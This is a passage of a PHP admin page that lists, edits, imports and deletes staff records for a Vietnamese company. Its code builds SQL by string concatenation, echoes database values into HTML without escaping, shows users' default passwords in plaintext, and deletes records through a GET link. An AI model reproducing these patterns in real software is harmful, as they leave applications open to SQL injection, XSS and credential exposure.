        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_staff ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM tb_staff ".$where." ORDER BY `staff_status` ASC, `staff_order` ASC LIMIT $from, $pageSize");
        $txt_list_language = '<tr>
<td></td>
<td><input type="text" name="k[staff_fullname]" class="form-control"></td>
<td></td>
<td><input type="text" name="k[staff_mobile]" class="form-control"></td>
<td><input type="text" name="k[staff_email365]" class="form-control"></td>
<td><select class="form-control" name="k[staff_function]">'.$op_menu_com.'</select></td>
<td><select class="form-control" name="k[staff_status]"><option value="">---</option><option value="0">'.$lang['dang-cong-tac'].'</option><option value="1">'.$lang['da-nghi'].'</option></select></td>
<td><nobr><button type="submit" class="btn badge badge-warning">'.$lang['tim'].'</button> '.$txt_all.'</nobr></td>
                                                    </tr>';
        while($row = $DB->fetch_row($query))
        {
            $txt_img = '';
            $row_user = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$row['user_id']."' "));
            if($row_user['user_image']!='' and file_exists(ROOT_PATH.'upload/user/'.$row_user['user_image'])
            ){
                $txt_img = '<img src="upload/user/'.$row_user['user_image'].'" style="width:50px;">';
            }else{
                $txt_img = '<img src="layout/adminlte320rc/dist/img/letter/'.strtolower(substr($row_user['user_key'],0,1)).'.png" style="width:50px;">';
            }
            $row_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$row['staff_function']."' AND company_id='$v_company_id' "));
            if($v_lang=='en'){
                $row_function['staff_function_name'] = $row_function['staff_function_ename'];
            }
            $row['staff_status_txt'] = ($row['staff_status']==0) ? $lang['dang-cong-tac'] : $lang['da-nghi'];
            //$row_function['staff_function_name'] = $row_function['staff_function_name']
            $txt_list_language .= '<tr>
                                    <td>
                                    <input name="txt_id" type="checkbox" id="lang_checkbox_'.$row['staff_id'].'" class="filled-in" value="'.$row['staff_id'].'" />
                                    <label for="lang_checkbox_'.$row['staff_id'].'"></label>
                                   <td><nobr><a href="?act=management&code=staff&type=post&staff_id='.$row['staff_id'].'">'.$row['staff_fullname'].'</a></nobr></td>
                                    <td>'.$txt_img.'</td>
                                    <td>'.$row['staff_mobile'].'</td>
                                    <td>'.$row['staff_email365'].'</td>
                                   <td>'.$row_function['staff_function_name'].'</td>
                                   <td>'.$row['staff_status_txt'].'</td>
                                    <td><nobr>
                                        <a href="?act=management&code=staff&type=post&staff_id='.$row['staff_id'].'" class="badge badge-success">'.$lang['cap-nhat'].'</a>
                                        <a href="?act=management&code=staff&type=delete&staff_id='.$row['staff_id'].'" class="badge badge-danger" onclick="return confirm(\'Are you sure want to delete?\');">'.$lang['xoa'].'</a></nobr>
                                    </td>
                                </tr>';
        }

        $nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=management&code=staff&'.$param_search);
        break;
}
?>
<?php
include ROOT_PATH . 'include/block/header.php';
?>
    <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div class="container-fluid">
            <div class="row">
                <div class="col-sm-12">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a href="?">Home</a></li>
                        <li class="breadcrumb-item active"><a href="?act=management&code=staff&type=list">Nhân viên</a></li>
                    </ol>
                </div>
            </div>
        </div><!-- /.container-fluid -->
    </section>
    <!-- Main content -->
    <section class="content">
    <div class="container-fluid">
    <div class="row">
    <div class="col-md-12">
        <?php
        if($html_block=='rule') {
            include 'rule_tpl.php';
        }
        ?>
        <?php
        if($html_block=='back_job'){
            ?>
            <p class="card-description">
                <?php echo $lang['cac-su-kien-da-cap-nhat'];?>
            </p>
            <table class="table table-bordered">
                <tr><th><?php echo $lang['loai'];?></th><th><?php echo $lang['ngay'];?></th><th><?php echo $lang['ly-do'];?></th><th><?php echo $lang['user-nhap'];?></th><th>#</th></tr>
                <?php echo $html_show;?>
            </table>

            <h5 class="card-description" style="margin-top: 15px;">
                <?php echo $lang['cap-nhat-tro-lai-cong-tac'];?>
            </h5>
            <form action="index.php?act=management&code=staff&type=back_job" method="POST" id="form_action">
                <input name="list_id" value="<?php echo $txt_list_id;?>" type="hidden">
                <table class="table table-bordered color-table info-table">
                    <?php echo $html_form;?>
                </table>
                <div class="justify-content-center" style="margin-top: 10px; text-align: center;">
                    <input type="submit" value="<?php echo $lang['cap-nhat'];?>" name="submitbt_out_work" class="btn btn-primary">
                </div>
            </form>

        <?php } ?>
        <?php
        if($html_block=='quit_job'){
            ?>
            <p class="card-description">
                <?php echo $lang['cac-su-kien-da-cap-nhat'];?>
            </p>
            <table class="table table-bordered">
                <tr><th><?php echo $lang['loai'];?></th><th><?php echo $lang['ngay'];?></th><th><?php echo $lang['ly-do'];?></th><th><?php echo $lang['user-nhap'];?></th><th>#</th></tr>
                <?php echo $html_show;?>
            </table>

            <h5 class="card-description" style="margin-top: 15px;">
                <?php echo $lang['cap-nhat-nghi-cong-tac'];?>
            </h5>
            <form action="index.php?act=management&code=staff&type=quit_job" method="POST" id="form_action">
                <input name="list_id" value="<?php echo $txt_list_id;?>" type="hidden">
                <table class="table table-bordered color-table info-table">
                    <?php echo $html_form;?>
                </table>
                <div class="justify-content-center" style="margin-top: 10px; text-align: center;">
                    <input type="submit" value="<?php echo $lang['cap-nhat'];?>" name="submitbt_out_work" class="btn btn-primary">
                </div>
            </form>

        <?php } ?>
        <?php
        if($html_block=='import_excel'){
            ?>
            <p class="card-description">
                <?php echo $lang['import-danh-sach-giao-vien'].' '.$r_company['company_name'];?>
            </p>
            <form action="" method="post" enctype="multipart/form-data">
                <div class="row">

                    <div class="col-5">
                        <div class="form-group">
                            <input type="file" name="excel" class="file-upload-default">
                            <div class="input-group col-xs-12">
                                <input type="text" class="form-control file-upload-info" disabled placeholder="<?php echo $lang['chon-file-excel'];?>">
                                <span class="input-group-append">
                          <button class="file-upload-browse btn btn-primary" type="button">Browse</button>
                        </span>
                            </div>
                        </div>
                    </div>
                    <div class="col-5">
                        <label> </label>
                        <input type="submit" name="submitbt_excel" value="Upload" class="btn btn-primary">
                    </div>
                    <div class="col-2">
                        <p class="card-description">
                            <a href="upload/demo/list-staff.xlsx" target="_blank"><?php echo $lang['file-excel-mau'];?></a>
                        </p>
                    </div>

                </div>
            </form>
            <?php
            if($v_html!=''){
                echo $v_html;
            }
            ?>

        <?php } ?>
        <?php
        if($html_block=='delete'){
            ?>
            <form action="index.php?act=management&code=staff&type=delete" method="post">
                <input type="hidden" value="<?php echo $staff_id;?>" name="staff_id">
                <div class="card">
                    <div class="card-body">
                        <h4 class="card-title">Some data will be lost when you delete this record:</h4>
                        <h6 class="card-subtitle">About <?php echo $i;?> result</h6>
                        <ul class="search-listing">
                            <?php echo $txt_list_table_delete;?>
                        </ul>
                    </div>
                    <div class="form-actions">
                        <button type="submit" class="btn btn-success" name="submitbt_delete"> Agree delete</button>
                        <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=management&code=staff'">Cancel</button>
                    </div>
                </div>
            </form>
        <?php } ?>
        <?php
        if($html_block=='post'){
            ?>
            <div class="card card-outline-info">
                <div class="card-header">
                    <h4 class="m-b-0"><?php echo $lang['can-bo-nhan-vien'];?></h4>
                </div>
                <div class="card-body">
                    <?php
                    if($row_check['staff_id']>0){
                        if($row_user_check['user_password_default']!=''){
                            $txt_user_password_default = $row_user_check['user_password_default'];
                        }else{
                            $txt_user_password_default = $lang['da-doi'];
                        }
                        ?>
                        <div class="table-responsive" style="margin-bottom: 15px;">
                            <table class="table table-bordered">
                                <tr>
                                    <th>Username</th><th>Default password</th><th>#</th>
                                </tr>
                                <tr>
                                    <td><?php echo $row_user_check['user_key'];?></td><td><?php echo $txt_user_password_default;?></td><td><a href="index.php?act=management&code=staff&type=resetpass&user_id=<?php echo $row_user_check['user_id'];?>&staff_id=<?php echo $row_check['staff_id'];?>">Reset password</a></td>
                                </tr>
                            </table>
                        </div>
                        <?php
                    }
                    ?>
                    <form action="?act=management&code=staff&type=post" method="post" enctype="multipart/form-data">
                        <input type="hidden" value="<?php echo $row_check['staff_id'];?>" name="f[staff_id]" id="staff_id">
                        <div class="form-body">
                            <div class="row">
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <label><?php echo $lang['hinh-anh'];?> (*<?php echo $lang['anh-phai-vuong'];?>)</label>
                                        <?php
                                        if($row_user_check['user_image']!='' and file_exists(ROOT_PATH.'upload/user/'.$row_user_check['user_image'])
                                        ) {
                                            $txt_file_default = 'upload/user/' . $row_user_check['user_image'];
                                        }else{
                                            $txt_file_default = '';
                                        }
                                        ?>
                                        <input type="file" name="image_field" class="dropify" data-default-file="<?php echo $txt_file_default;?>" data-height="100" data-max-file-size="1M" data-show-remove="false">
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['ho-ten'];?></label>
                                        <input type="text" class="form-control" id="txt_fullname" name="f[staff_fullname]" value="<?php echo $row_check['staff_fullname'];?>" required id="txt_fullname">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label">Phòng/Ban</label>
                                        <select class="form-control" name="f[staff_group]">
                                            <?php echo op_staffgroup($row_check['staff_group']);?>
                                        </select>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['gioi-tinh'];?></label>
                                        <select class="form-control" name="f[staff_gender]">
                                            <option value="1" <?php if($row_check['staff_gender']==1){ echo 'selected';}?>><?php echo $lang['nam'];?></option>
                                            <option value="2" <?php if($row_check['staff_gender']==2){ echo 'selected';}?>><?php echo $lang['nu'];?></option>
                                            <option value="3" <?php if($row_check['staff_gender']==3){ echo 'selected';}?>><?php echo $lang['khac'];?></option>
                                        </select>
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['ngay-vao-lam-viec'];?></label>
                                        <input type="text" class="form-control mydatepicker" name="f[staff_joindate]" value="<?php echo $row_check['staff_joindate'];?>" required>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['ngay-sinh'];?></label>
                                        <input type="text" class="form-control mydatepicker" name="f[staff_birthday]" value="<?php echo $row_check['staff_birthday'];?>">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['chuc-vu'];?></label>
                                        <?php if($row_check['staff_id']>0){
                                            $row_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$row_check['staff_function']."' "));
                                            echo '<select class="form-control" disabled>';
                                            echo '<option value="">'.$row_function['staff_function_name'].'</option>';
                                            echo '</select>';
                                        }else{
                                            ?>
                                            <select class="form-control" name="f[staff_function]">
                                                <?php echo $op_menu;?>
                                            </select>
                                        <?php } ?>
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['dia-chi'];?></label>
                                        <input type="text" class="form-control" placeholder="" name="f[staff_address]" value="<?php echo $row_check['staff_address'];?>">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['quoc-tich'];?></label>
                                        <select class="form-control" data-style="btn-info btn-outline-info" name="f[staff_dantoc]">
                                            <option value="1" <?php if($row_check['staff_dantoc']=='1') echo 'selected';?>><?php echo $lang['viet-nam'];?></option>
                                            <option value="2" <?php if($row_check['staff_dantoc']=='2') echo 'selected';?>><?php echo $lang['nuoc-ngoai'];?></option>
                                        </select>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['dien-thoai-di-dong'];?></label>
                                        <input type="text" class="form-control" name="f[staff_mobile]" value="<?php echo $row_check['staff_mobile'];?>" required data-inputmask="'mask': '99999999999'">
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['cmnd'];?></label>
                                        <input type="text" class="form-control" placeholder="" name="f[staff_cmnd]" value="<?php echo $row_check['staff_cmnd'];?>">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['trinh-do-hoc-van'];?></label>
                                        <select class="form-control" data-style="btn-info btn-outline-info" name="f[staff_trinhdohocvan]">
                                            <option value="thpt" <?php if($row_check['staff_trinhdohocvan']=="thpt"){ echo 'selected';}?>><?php echo $lang['thpt'];?></option>
                                            <option value="trung-cap" <?php if($row_check['staff_trinhdohocvan']=="trung-cap"){ echo 'selected';}?>><?php echo $lang['trung-cap'];?></option>
                                            <option value="cao-dang" <?php if($row_check['staff_trinhdohocvan']=="cao-dang"){ echo 'selected';}?>><?php echo $lang['cao-dang'];?></option>
                                            <option value="dai-hoc" <?php if($row_check['staff_trinhdohocvan']=="dai-hoc"){ echo 'selected';}?>><?php echo $lang['dai-hoc'];?></option>
                                            <option value="thac-si" <?php if($row_check['staff_trinhdohocvan']=="thac-si"){ echo 'selected';}?>><?php echo $lang['thac-si'];?></option>
                                            <option value="tien-si" <?php if($row_check['staff_trinhdohocvan']=="tien-si"){ echo 'selected';}?>><?php echo $lang['tien-si'];?></option>
                                            <option value="giao-su" <?php if($row_check['staff_trinhdohocvan']=="giao-su"){ echo 'selected';}?>><?php echo $lang['giao-su'];?></option>
                                        </select>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['tinh-trang-hon-nhan'];?></label>
                                        <select class="form-control" name="f[staff_marry]">
                                            <option value="1" <?php if($row_check['staff_marry']=='1') echo 'selected';?> ><?php echo $lang['doc-than'];?></option>
                                            <option value="2" <?php if($row_check['staff_marry']=='2') echo 'selected';?>><?php echo $lang['da-xay-dung-gia-dinh'];?></option>
                                        </select>
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-md-6">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['email-cong-ty'];?></label>
                                        <input type="email" class="form-control" placeholder="" name="f[staff_email365]" value="<?php echo $row_check['staff_email365'];?>" data-inputmask="'alias': 'email'" required>
                                    </div>
                                </div>
                                <div class="col-md-6">
                                    <div class="form-group">
                                        <label class="control-label"><?php echo $lang['email-ca-nhan'];?></label>
                                        <input type="text" class="form-control" name="f[staff_email]" value="<?php echo $row_check['staff_email'];?>" data-inputmask="'alias': 'email'">
                                    </div>
                                </div>

                            </div>

                        </div>
                        <div class="form-actions">
                            <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> <?php echo $lang['luu-lai'];?></button>
                            <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=management&code=staff'"><?php echo $lang['huy-bo'];?></button>
                        </div>
                    </form>
                </div>
            </div>
        <?php } ?>
        <?php
        if($html_block=='list'){
            ?>
            <div class="card">
                <div class="card-body">
                    <div class="m-t-40">
                        <div class="d-flex">
                            <div class="mr-auto">
                                <div class="form-group">
                                    <a href="javascript:void(0);" class="do_action btn btn-warning" data-module="act=management&code=staff&type=quit_job"><i class="fa fa-ban"></i>
                                        <?php echo $lang['cap-nhat-nghi-cong-tac'];?>
                                    </a>
                                    <a href="javascript:void(0);" class="do_action btn btn-warning" data-module="act=management&code=staff&type=back_job"><i class="fa fa-exchange"></i>
                                        <?php echo $lang['cap-nhat-tro-lai-cong-tac'];?>
                                    </a>
                                    <a href="javascript:void(0);" class="do_action btn btn-warning" data-module="act=management&code=staff&type=rule"><i class="fa fa-check-square-o"></i>
                                        <?php echo $lang['cap-nhat-cap-quyen'];?>
                                    </a>
                                    <a href="javascript:void(0);" class="do_action btn btn-warning" data-module="act=management&code=staff&type=export_selected"><i class="fa fa-bookmark-o"></i>
                                        Excel selected
                                    </a>
                                    <a href="javascript:void(0);" class="do_action btn btn-warning" data-module="act=management&code=staff&type=export_all"><i class="far fa-file-excel"></i></i>
                                        Excel all
                                    </a>

                                </div>
                            </div>

                        </div>
                    </div>
                    <form action="index.php?act=management&code=staff" method="post" id="form_action">
                        <input type="hidden" id="list_id" value="">
                        <table class="table table-bordered color-table info-table">
                            <thead>
                            <tr>
                                <th><input type="checkbox" class="filled-in chk-col-amber" id="check_all"><label for="check_all"></label></th>
                                <th><?php echo $lang['ho-ten'];?></th>
                                <th><?php echo $lang['hinh-anh'];?></th>
                                <th>Mobile</th>
                                <th>Company Email</th>
                                <th><?php echo $lang['chuc-vu'];?></th>
                                <th><?php echo $lang['tinh-trang'];?></th>
                                <th>#</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php echo $txt_list_language;?>
                            </tbody>
                        </table>
                    </form>

                    <nav style="margin-top: 15px;">
                        <ul class="pagination d-flex justify-content-center pagination-success">
                            <?php echo $nav;?>
                        </ul>
                    </nav>

                </div>
            </div>
        <?php } ?>
    </div>
    </div>
    </div>
    </section>
    </div>

    <div style="position: fixed; top: 165px; right: -2px; z-index: 999;" class="fix_hotline">
        <div id="divGoldAdsImg" style="float: right; margin: -3px -5px 0 0; position: relative;">

            <div class="dropdown">
                <button class="btn btn-primary dropdown-toggle" type="button" id="dropdownMenuButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                    <i class="fa fa-plus"></i> <?php echo $lang['them-moi'];?>
                </button>
                <div class="dropdown-menu" aria-labelledby="dropdownMenuButton1">
                    <a class="dropdown-item" href="?act=management&code=staff&type=post"><i class="fa fa-ellipsis-h"></i> <?php echo $lang['them-mot'];?></a>
                    <a class="dropdown-item" href="?act=management&code=staff&type=import_excel"><i class="fa fa-file-excel-o"></i> Import excel</a>
                </div>
            </div>

        </div>
    </div>

<?php
include ROOT_PATH . 'include/block/footer.php';
?>

ZeroDay Forums Mini